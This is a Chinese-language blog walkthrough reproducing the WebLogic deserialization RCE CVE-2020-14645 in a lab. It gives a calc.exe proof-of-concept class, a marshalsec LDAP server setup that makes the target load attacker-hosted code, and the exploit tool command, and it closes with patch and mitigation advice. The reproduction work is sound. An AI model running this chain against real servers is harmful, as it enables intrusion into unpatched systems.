CVE-2020-14645:Weblogic远程代码执行复现
0x01 简介
WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
0x02 漏洞概述
攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。 构造chain类似于common-collection的chain,可以照葫芦画瓢。
mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。
反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。
0x03 影响版本
Oracle Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 14.1.1.0.0
0x04 环境搭建
JDK Version < JDK6u211/7u201/8u191
Weblogic Version 12.2.1.4.0
- 在官网下载上面的安装包
- 安装好对应JAVA并配置好环境变量,java javac命令可以执行
java -version
javac -version
- 使用管理员权限打开CMD执行安装命令
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
- 无脑下一步
- 稍等片刻会自动打开配置向导,下一步
- 完成安装,然后打开startWebLogic运行服务
- 浏览器访问http://IP:7001/console,至此环境搭建完毕
0x05 漏洞复现
目标192.168.132.171:7001
- payload
public class exp{
// POC open calc
public exp(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
exp e = new exp();
}
}
- 编译poc
javac poc.java
- 使用python启动http服务器,并将poc.class放入站点根目录(我这边指定5001端口)
python3 -m http.server 5001
- 使用marshalsec搭建ldap服务
marshalsec 下载及使用方式
https://github.com/ianxtianxt/marshalsec
自行编译marshalsec的jar包:
mvn clean package -DskipTests
启动ldap服务,具体启动参数的介绍,查看作者的介绍。
java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:port/#exp 5002
- 使用下面的工具 (需要mvn编译) ,工具下载地址
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
java -jar CVE-2020-14645.jar LDAP服务器IP:port/#exp http://192.168.132.171:7001
- 成功(撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。)
0x06 修复方式
1、安装官方补丁
https://www.oracle.com/security-alerts/cpujul2020.html
2、限制T3访问来源
漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
3、禁用IIOP协议
可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html
参考链接:
https://github.com/ianxtianxt/marshalsec
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
- ASP.NET的路由系统:路由映射
- ASP.NET Core的配置(3): 将配置绑定为对象[上篇]
- ASP.NET的路由系统:URL与物理文件的分离
- 使用Excel分析CloudStack使用记录
- 卷积神经网络初探索
- TensorFlow 深度学习笔记 逻辑回归 实践篇
- 黑客是如何实施暴力破解的?
- Python的初学者你现在可以自己“看”到代码的运行了!
- ASP.NET Core的配置(3): 将配置绑定为对象[下篇]
- TensorFlow 深度学习笔记 从线性分类器到深度神经网络
- 微信版12306来了!用12306微信小程序买票靠谱吗
- 无需写try/catch,也能正常处理异常
- “人工智能毁灭人类”是一种末世恐惧传染病
- 有状态(Stateful)应用的容器化
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 基于python实现名片管理系统
- 记一个OLED编程中文显示函数的坑(留意变量数据类型的范围)
- tp5框架基于Ajax实现列表无刷新排序功能示例
- 浅谈pycharm下找不到sqlalchemy的问题
- PHP实现常用排序算法的方法
- 利用Python实现原创工具的Logo与Help
- PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解
- 浅谈python下tiff图像的读取和保存方法
- Jmeter(二十五) - 从入门到精通 - JMeter函数 - 下篇(详解教程)
- 解决vscode python print 输出窗口中文乱码的问题
- 对python3新增的byte类型详解
- Python实现的特征提取操作示例
- Linux进程间通信方式之socket使用实例
- python实现图片识别汽车功能
- Mac下Anaconda的安装和使用教程